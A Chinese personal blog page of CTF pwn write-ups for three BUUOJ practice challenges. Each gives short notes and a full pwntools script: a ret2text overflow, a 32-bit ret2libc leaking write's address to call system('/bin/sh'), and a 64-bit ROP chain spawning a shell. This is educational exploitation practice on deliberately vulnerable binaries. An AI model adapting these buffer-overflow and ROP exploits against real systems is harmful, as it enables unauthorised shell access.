抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

yixinBC's blog

always learning

get_started_3dsctf_2016

一开始以为是ret2text板子题(那么大个get_flag函数)。照板子写,打远程,没回显,报错。检查发现函数的返回方式不是leave retn而是retn,遂将fake_ebp的padding去除。没打通。翻网上的题解,发现有师傅提到这题的远程只有程序能正常退出的时候才有回显(确实是老题了,这几年的新题不会这么离谱😅)。遂将get_flag函数的返回地址设置为elf.sym["exit"]get_flag函数开头有一个if判断:

a

原始思路是直接ret2text的时候越过if判断,注意到汇编中此函数在retn前有pop esi,函数开头有push esi,想法是把栈构造成下面这样:

stack_overflow_padding  0x38
ret2txet_addr(after elf.sym[“get_flag”])
fake_pop_esi
elf.sym[“exit”]

不知为何打不通。老老实实过if判断:

stack_overflow_padding  0x38
elf.sym[“get_flag”]
elf.sym[“exit”]
get_flag arg1 0x308CD64F
get_flag arg2 0x195719D1

最后exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.log_level = "debug"
context.arch = "i386"
elf = ELF("./get_started_3dsctf_2016")
# p = process("./get_started_3dsctf_2016")
p = remote("node4.buuoj.cn", 27999)
sleep(1)
p.send(
b"a" * 0x38
+ p32(elf.sym["get_flag"])
+ p32(elf.sym["exit"])
+ p32(0x308CD64F)
+ p32(0x195719D1)
)
p.interactive()

[OGeek2019]babyrop

32位ret2libc,write泄露,这题因为sendsendline的原因卡了好久,下次写脚本准备先无脑上sendline

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = "debug"
context.arch = "i386"
# p = process("./pwn")
p = remote("node4.buuoj.cn", 26926)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
p.sendline(b"\x00" + b"\xff" * 7)
p.recvuntil(b"Correct\n")
p.sendline(
b"a" * (0xE7 + 4)
+ p32(elf.plt["write"])
+ p32(0x08048825) # main
+ p32(1)
+ p32(elf.got["write"])
+ p32(4)
)
write_addr = u32(p.recv(4))
libc_base = write_addr - libc.sym["write"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
p.sendline(b"\x00" + b"\xff" * 7)
p.recvuntil(b"Correct\n")
p.sendline(b"a" * (0xE7 + 4) + p32(system_addr) + p32(0xDEADBEEF) + p32(binsh_addr))
p.interactive()

[HarekazeCTF2019]baby_rop

64位rop板子题。注意程序里有/bin/sh字符串,可以在ida的strings页面找到。远程flag的位置很怪啊,学习了一下find命令。不知道为什么远程交互的时候过没几秒没操作就会eof

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
# p = process("./babyrop")
p = remote("node4.buuoj.cn", 26515)
elf = ELF("./babyrop")
pop_rdi = 0x400683
p.sendlineafter(
b"What's your name? ",
b"A" * 0x10
+ b"B" * 8
+ p64(pop_rdi)
+ p64(elf.sym["binsh"])
+ p64(elf.plt["system"]),
)
p.interactive()

评论